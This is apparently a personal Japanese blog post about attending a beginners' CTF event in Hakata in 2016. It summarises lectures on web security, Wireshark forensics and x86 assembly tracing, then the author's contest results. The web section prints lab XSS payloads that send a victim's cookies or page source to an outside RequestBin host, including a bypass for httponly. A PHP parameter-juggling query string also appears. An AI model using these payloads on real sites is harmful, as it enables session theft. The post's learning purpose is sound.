CTF for ビギナーズ 2016 博多に参加してきました
以前から興味があった CTF のイベントがあるということで富士通株式会社九州支部で行われた CTF for ビギナーズ 博多に参加してきました.
Web 講義,フォレンジック講義,バイナリ講義が各60分ずつ,その後 CTF 演習がありました.ビギナーズというだけあって,わかりやすいというか,簡単なところからやっていただいたので良かったです.
Web 講義
まず初めは清水郁実さん(\ (@_193s) | Twitter)の Web 講義.CTF における Web とは Web アプリケーションの脆弱性を突く問題や Web 技術に関する問題が多い.フラグとなる文字列を見つけることは他と同じ.
今回は XSS のお話でした.Cookie を奪取したり.Cookie に httponly という属性が用意されているのは知らなかった.httponly を使用すれば document.cookie からのアクセスを制限できる.
演習で使用した Web サイトのメインページにはログインしたユーザ ID とパスワードが表示されている.まずそんなことはありえないだろうが演習なので気にしてはいけない.RequestBin — Collect, inspect and debug HTTP requests and webhooks を使用してリクエストを受け取った.管理者へのメッセージの送信欄にコードを記述する.ここで送信したメッセージは管理者のブラウザでそのまま表示される.通常はここで適切にエスケープしたりと対策を行う必要がある.だがここでは対策されていないため脆弱性となっている.
location = 'http://requestb.in/~?' + document.cookie
このメインページに httponly が付与されていた場合,上記の方法が利用できないため以下のように Ajax を利用しページのソースコード自体を入手,リクエストを送信する.
xhr = new XMLHttpRequest() xhr.open( 'GET', '/' ) xhr.onload = function(){ location = 'http://requestb.in/~?' + encodeURIComponent( this.responseText ) } xhr.send()
これを見ると httponly は気休めにしかならないことがわかる.高得点問題では他の脆弱性との合わせ技でくることもあるらしい.
フォレンジック講義
次は向佐祐貴さん(進級人間 (@a_r_g_v) | Twitter)のフォレンジック講習.
フォレンジックってなんだと思ってしまった.
コンピュータやネットワークシステムのログや記録,状態を詳細に調査し,過去に起こったことを立証する証拠を集めることを意味します.
はてなの引用,こういうことらしい.CTF においては与えられたファイルから証拠を探す,復元することがこれにあたる.今回は Wireshark を使い pcap ファイルをいじり倒した.実際に使ってみたところ.
ファイルに FLAG という文字列が含まれている場合,ターミナルからでも探せそう.
$ strings lec1.pcap | grep FLAG FLAG{poe}
Display Filter で必要な情報だけを取り出したりもできる.
Filter | 意味 |
---|---|
http | http プロトコル |
tcp.port == 80 | TCP ポートが 80 |
ip.addr == 127.0.0.1 | IP アドレスが 127.0.0.1 |
必要に応じて使い分ける必要がありそう.Display Filter では and や or,以上,以下などの演算子も利用できる.
また TCP Stream を使うと 1 つのコネクションでやり取りされた情報を見ることができる.パケットを右クリック,追跡の TCP Stream から利用する.
パケットを読む際はシナリオを意識するといいらしい.登場人物(IP アドレス),どういうプロトコル,何をしようとしているとか.
送受信されているデータは base64 でエンコードされている場合もある.
echo STRING | base64 --d
こうやってデコードする.エンコードされていると grep などで調べようがない.特徴としては末尾に「=」が付いていること.またパーセントエンコーディングという URI において使用できない文字を使用できる文字に置き換えるエンコードが行われている場合もある.これは nfk コマンドでデコードできる.こんなコマンドがあることは知らなかった.
$ echo STRING | nkf --url-input
次に Wireshark の統計の機能について簡単にまとめる.
Protocol Hierarchy Statistics | Statistics -> Protocol Hierarchy | プロトコルがパケットに占める割合を表示する |
Conversations | Statistics -> Conversations | 誰と誰が通信しているのかを表示する |
Apply Filter | Apply as Filter -> Selected | 選択中の要素から Display Filter を作成する |
Protocol Hierarchy Statistics はどのプロトコルでの通信が少ないかといったことを簡単に確認できる.これならこのプロトコルが使用されているだろうと推測,絞り込んでいく.
最後に Wireshark でのファイルの抽出.
ファイルを受信,送信しているパケットを選択.右クリックで Export Packets Bytes でパケットからファイルを抽出できる.ファイルの拡張子がわからない場合もあるのでマジックナンバーなどはメモしておいたほうがよさそう.
あとはコマンドを幾つか覚えておくといい.
file | ファイルの種類 |
binwalk | ファイルが入れ子になっている場合に有用.-e で抽出もできる |
exiftool | メタ情報の確認,更新 |
strings | ファイルの中を表示 |
バイナリ講義
バイナリ(泣)
ぶっちゃけよく分からない.だって難しいんだもん.ELF バイナリとは Executable and Linkable Format とかいうなんかかっこいい名前を省略したもの.多くの Linux 系,BSD 系の実行バイナリ形式として採用されているらしい.演習ファイルは key を入力し正解であれば次の key の入力へ,不正解であれば処理が中断するという処理の key を自身で見つけ出すというもの.
命令の名前がよくわからなくなる.
mov 命令は値の移動.移動元の数値に変化はない.メモリの参照には大括弧を使う.
mov eax, ebx mov eax, [ebx] mov [eax], ebx
lea 命令は同じく代入命令.ソースオペランドのアドレスを計算して読み込む.以下の二つは互いに同じ意味となる.
lea eax, [ebx+4]
mov eax, ebx add eax, 4
次にスタック操作命令.push 命令は即値,またレジスタの値をスタックに保存する.pop 命令,スタックから値をレジスタに取り出す.
まだまだある.算術演算命令.add 命令は値の加算を行う.
add [ebo-0x4], 0x20
メモリの ebp-0x4 番地の値に 0x20 を加算する.
sub 命令は値の減算を行う.
sub [ebp-0x4], 0x20
基本的に add と同じ.
他にも乗算を行う imul命令 や除算を行う idiv命令,インクリメントの inc命令,デクリメントの dec命令 などがある.
次に論理演算命令.not 命令は否定,and 命令は論理積,or 命令は論理和,xor 命令は排他的論理和,neg 命令は正負反転を表す.
最後にシフト演算命令.shl 命令は左にシフト(2^n倍)し,shr 命令は右にシフト(2^(-1)倍)する.
わかりにくいので表にまとめる.
命令 | 処理 |
---|---|
mov | 代入 |
lea | 代入 |
push | スタック,保存 |
pop | スタック,取り出し |
add | 加算 |
sub | 減算 |
imul | 乗算 |
idiv | 除算 |
inc | インクリメント |
dec | デクリメント |
not | 否定 |
and | 論理積 |
or | 論理和 |
xor | 排他的論理和 |
neg | 正負反転 |
shl | 左シフト |
shr | 右シフト |
ここからは演習の内容をまとめる.演習では終了時点で eax に格納されている値を求める.
0804861a <Stage1>: 804861a: 55 push ebp 804861b: 89 e5 mov ebp,esp 804861d: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048620: c7 00 e8 88 04 08 mov DWORD PTR [eax],0x80488e8 8048626: 90 nop 8048627: 90 nop 8048628: b8 09 00 00 00 mov eax,0x9 804862d: 8d 58 03 lea ebx,[eax+0x3] 8048630: c0 e0 02 shl al,0x2 8048633: 30 c3 xor bl,al 8048635: 89 d9 mov ecx,ebx 8048637: 29 c1 sub ecx,eax 8048639: 49 dec ecx 804863a: 0f af c1 imul eax,ecx 804863d: 90 nop 804863e: 90 nop 804863f: 5d pop ebp 8048640: c3 ret
途中に出てくる al や bl はレジスタのことらしい.al や bl に対しての演算がどのように影響してくるのかよくわからない.上記の命令と照らし合わせながら解いてみる.
0x08048628 | C言語風 | eax | ebx | ecx |
---|---|---|---|---|
mov eax, 0x9 | eax = 9 | 9 | ||
lea ebx, [eax+0x3] | ebx = eax + 3 | 9 | 12 | |
shl al, 0x2 | al <<= 2 | 36 | 12 | |
xor bl, al | bl ^= al | 36 | 40 | |
mov ecx, ebx | ecx = ebx | 36 | 40 | 40 |
sub ecx, eax | ecx -= eax | 36 | 40 | 4 |
dec ecx | ecx-- | 36 | 40 | 3 |
imul eax, ecx | eax *= ecx | 108 | 40 | 3 |
このとき,eax の最後の値は 108 となる.
次にスタックを利用する.esp レジスタはスタックの一番上を指す.データを積んだ分だけ esp は減っていく.ebp レジスタは関数内でのスタックの底を指す.
08048641 <Stage2>: 8048641: 55 push ebp 8048642: 89 e5 mov ebp,esp 8048644: 83 ec 10 sub esp,0x10 8048647: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 804864a: c7 00 ef 88 04 08 mov DWORD PTR [eax],0x80488ef 8048650: 90 nop 8048651: 90 nop 8048652: c7 45 f8 01 00 00 00 mov DWORD PTR [ebp-0x8],0x1 8048659: 83 45 f8 03 add DWORD PTR [ebp-0x8],0x3 804865d: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 8048660: 01 c0 add eax,eax 8048662: 89 45 fc mov DWORD PTR [ebp-0x4],eax 8048665: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] 8048668: 8d 50 03 lea edx,[eax+0x3] 804866b: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 804866e: 0f af c2 imul eax,edx 8048671: 89 45 f8 mov DWORD PTR [ebp-0x8],eax 8048674: 90 nop 8048675: 90 nop 8048676: c9 leave 8048677: c3 ret
局所変数を使い置き換える.
DWORD PTR [ebp-0x8] => X DWORD PTR [ebp-0x4] => Y
これにより以下のようになる.
8048652: c7 45 f8 01 00 00 00 mov X,0x1 8048659: 83 45 f8 03 add X,0x3 804865d: 8b 45 f8 mov eax,X 8048660: 01 c0 add eax,eax 8048662: 89 45 fc mov Y,eax 8048665: 8b 45 fc mov eax,Y 8048668: 8d 50 03 lea edx,[eax+0x3] 804866b: 8b 45 f8 mov eax,X 804866e: 0f af c2 imul eax,edx 8048671: 89 45 f8 mov X,eax
見やすくなっているのだろうか.というかもうこれは慣れなんじゃないだろうか.
0x08048652 | C言語風 | eax | edx | X | Y |
---|---|---|---|---|---|
mov X,0x1 | X = 1 | 1 | |||
add X,0x3 | X += 3 | 4 | |||
mov eax,X | eax = X | 4 | 4 | ||
add eax,eax | eax += eax | 8 | 4 | ||
mov Y,eax | Y = eax | 8 | 4 | 8 | |
mov eax,Y | eax = Y | 8 | 4 | 8 | |
lea edx,[eax+0x3] | edx = eax + 3 | 8 | 11 | 4 | 8 |
mov eax,X | eax = X | 4 | 11 | 4 | 8 |
imul eax,edx | eax *= edx | 44 | 11 | 4 | 8 |
mov X,eax | X = eax | 44 | 11 | 44 | 8 |
結果は 44 となる.
次は分岐命令などを使った実行制御の演習.
命令 | 意味 |
---|---|
je | Jump if Equal |
jne | Jump if Not Equal |
jg | Jump if Great |
jge | Jump if Great or Equal |
jl | Jump if Less |
jle | Jump if Less or Equal |
その他にもあるみたい.
ループ命令は cmp 命令と分岐命令を使用して行う.
for( i=0; i<=0x1f; i++ )
を表すときには,
mov [ebp+var_4], 0 cmp [ebp+var_4], 0x1f add [ebp+var_4], 1
となる.実際に見ていく.
08048678 <Stage3>: 8048678: 55 push ebp 8048679: 89 e5 mov ebp,esp 804867b: 83 ec 10 sub esp,0x10 804867e: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048681: c7 00 f6 88 04 08 mov DWORD PTR [eax],0x80488f6 8048687: 90 nop 8048688: 90 nop 8048689: c7 45 fc 01 00 00 00 mov DWORD PTR [ebp-0x4],0x1 8048690: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0 8048697: eb 0a jmp 80486a3 <Stage3+0x2b> 8048699: 8b 45 fc mov eax,DWORD PTR [ebp-0x4] 804869c: 01 45 f8 add DWORD PTR [ebp-0x8],eax 804869f: 83 45 fc 01 add DWORD PTR [ebp-0x4],0x1 80486a3: 83 7d fc 10 cmp DWORD PTR [ebp-0x4],0x10 80486a7: 7e f0 jle 8048699 <Stage3+0x21> 80486a9: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 80486ac: 90 nop 80486ad: 90 nop 80486ae: c9 leave 80486af: c3 ret
そろそろわけわからなくなってきた.スライド通り,わかりやすいように置き換える.
var_4 : DWORD PTR [ebp-0x4] => i var_8 : DWORD PTR [ebp-0x8] => X
処理を追うとこうなっているらしい.
0x08048689 | C言語風 | eax | i | X |
---|---|---|---|---|
mov i, 0x1 | i = 1 | 1 | ||
mov X, 0x0 | X = 0 | 1 | 0 | |
jmp 80486a3 | goto 80486a3 | 1 | 0 | |
0x08048699 | C言語風 | eax | i | X |
mov eax, i | eax = i | 1 | 1 | 0 |
add X, eax | X += eax | 1 | 1 | 1 |
add i, 0x1 | i += 1 | 1 | 2 | 1 |
0x080486a3 | C言語風 | eax | i | X |
cmp i, 0x10 | for( i<=0x10 ) | 1 | 0 | |
jle 8048699 | goto 8048699 | 1 | 0 |
はてな記法での表の書き方がいまいちよくわからないのでスライドとは少し違うところがある.1 つめから 3 つめに飛び,最後に 2 つめに飛ぶ.慣れればどうってことないのかな.読むのにすごい時間がかかるというか読めなさそう.
ループは合計で 16 回行われる
n | eax | i | X |
---|---|---|---|
1 | 1 | 2 | 1 |
2 | 2 | 3 | 3 |
15 | 15 | 16 | 120 |
16 | 16 | 17 | 136 |
途中は省略した.結果は 136 となる.
次は関数.call 命令でスタックに積んだ引数を利用し関数を実行する.
func( a, b, c )
は以下のようになる.
sub esp, 0xc mov [esp], a mov [esp+0x4], b mov [esp+0x8], c call func
なるほど(?)
call 命令は関数から戻るためのアドレスを自動で push する.
080486b0 <Stage4>: 80486b0: 55 push ebp 80486b1: 89 e5 mov ebp,esp 80486b3: 83 ec 18 sub esp,0x18 80486b6: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486b9: c7 00 fd 88 04 08 mov DWORD PTR [eax],0x80488fd 80486bf: 90 nop 80486c0: 90 nop 80486c1: c7 44 24 08 03 00 00 00 mov DWORD PTR [esp+0x8],0x3 80486c9: c7 44 24 04 fb ff ff ff mov DWORD PTR [esp+0x4],0xfffffffb 80486d1: c7 04 24 0b 00 00 00 mov DWORD PTR [esp],0xb 80486d8: e8 07 00 00 00 call 80486e4 <Stage4_subfunc> 80486dd: 83 c0 03 add eax,0x3 80486e0: 90 nop 80486e1: 90 nop 80486e2: c9 leave 80486e3: c3 ret 080486e4 <Stage4_subfunc>: 80486e4: 55 push ebp 80486e5: 89 e5 mov ebp,esp 80486e7: 83 ec 10 sub esp,0x10 80486ea: 90 nop 80486eb: 90 nop 80486ec: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486ef: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 80486f2: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] 80486f5: 89 45 f8 mov DWORD PTR [ebp-0x8],eax 80486f8: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] 80486fb: 89 45 fc mov DWORD PTR [ebp-0x4],eax 80486fe: 90 nop 80486ff: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 8048702: 01 45 f4 add DWORD PTR [ebp-0xc],eax 8048705: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] 8048708: 29 45 fc sub DWORD PTR [ebp-0x4],eax 804870b: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8] 804870e: 0f af 45 fc imul eax,DWORD PTR [ebp-0x4] 8048712: 89 45 f4 mov DWORD PTR [ebp-0xc],eax 8048715: 90 nop 8048716: 90 nop 8048717: c9 leave 8048718: c3 ret
引数はこんな感じらしい.
mov DWORD PTR [esp+0x8], 0x3 mov DWORD PTR [esp+0x4], 0xfffffffb mov DWORD PTR [esp], 0xb call 80486e1 <Stage4_subfunc> add eax, 0x3
わかりにくいので.
引数 | 値 |
---|---|
[esp] | 11 |
[esp+0x4] | -5 |
[esp+0x8] | 3 |
結果として Stage4_subfunc( 11, -5, 3 ) と同じ意味になる.
先ほどの演習を解くために置き換える.
DWORD PTR [ebp-0xc] => X DWORD PTR [ebp-0x8] => Y DWORD PTR [ebp-0x4] => Z
mov eax, DWORD PTR [ebp+0x8] mov X, eax mov eax, DWORD PTR [ebp+0xc] mov Y, eax mov eax, DWORD PTR [ebp+0x10] mov Z, eax
このときスタックはこうなっている.
X | -0xC |
Y | -0x8 |
Z | -0x4 |
old_ebp | ebp |
0x080486dd | +0x4 |
11 | +0x8 |
-5 | +0xC |
3 | +0x10 |
この Stage4_subfunc 関数の処理を追ってみる.
0x080486fe | C言語風 | eax | X | Y | Z |
---|---|---|---|---|---|
nop | 11 | -5 | 3 | ||
mov eax, Y | eax = Y | -5 | 11 | -5 | 3 |
add X, eax | X += eax | -5 | 6 | -5 | 3 |
mov eax, X | eax = X | 6 | 6 | -5 | 3 |
sub Z, eax | Z -= eax | 6 | 6 | -5 | 3 |
mov eax, Y | eax = Y | -5 | 6 | -5 | -3 |
imul eax, Z | eax *= Z | 15 | 6 | -5 | -3 |
mov X, eax | X = eax | 15 | 15 | -5 | -3 |
Stage4_subfunc を抜けた後は add 命令が行われている.
0x080486fb | eax |
---|---|
call 80486e4 |
15 |
add eax, 0x3 | 18 |
結果は 18 となる.なるほどわからん.ほとんどスライドの内容を丸写ししてるだけになっている.ごめんなさい.でも自分で読んでみるのも楽しかった.GUI のソフトもあるらしい.IDA free/IDA demo というもの.視覚的にわかりやすくなるのはとてもありがたい.
CTF 演習
感想としてはめちゃくちゃ楽しい.開発は飽き性の自分との戦いのような気がしてならないが CTF は周りの人と競い合うので楽しい.やはりゲーム感覚で行えるところがいいのでしょうか.解けない問題があるとすごい悔しい.
1100 点で 8 位.ビギナーズですし解ける問題もあったので良かった.右下は全滅している.Web 問題の PHP! PHP! PHP! はどこかで解いたような問題で,後々見てみると ksnctf に似たような問題があった.
PHP! PHP! PHP! は単純にパラメータをつけてあげる.
?var1[]=&var2=1e3
エクスポートできるかな?は謎のテキストファイルをエクスポートしてデコードしたら出てきた.
$ echo 'Y3RmNGJ7NTM2ZGFjMzcxYWE2NTJmODY1YzIwYWJlN2I0MDk0ZGJ9' | base64 --d ctf4b{536dac371aa652f865c20abe7b4094db}
この 2 つ,Web と Forensics の 200 点問題は以前やったことがあった.ちゃんと解いた問題はメモしておいたほうがよさそう.すぐ忘れてしまう.あと,もう少し落ち着いて解いたほうがよかった.ビギナーズですし問題が簡単に作ってあるのだとは思う.それでも解けると楽しい.いやこれ楽しいです.
次の日,17日の SECCON はハードウェア CTF ということで今回は見送り.でも大会に出てみるのも絶対に楽しい.次は出てみたい.
CTF for ビギナーズの後は博多駅でもつ鍋食べました.
ラーメンを投入!
とても美味しかった.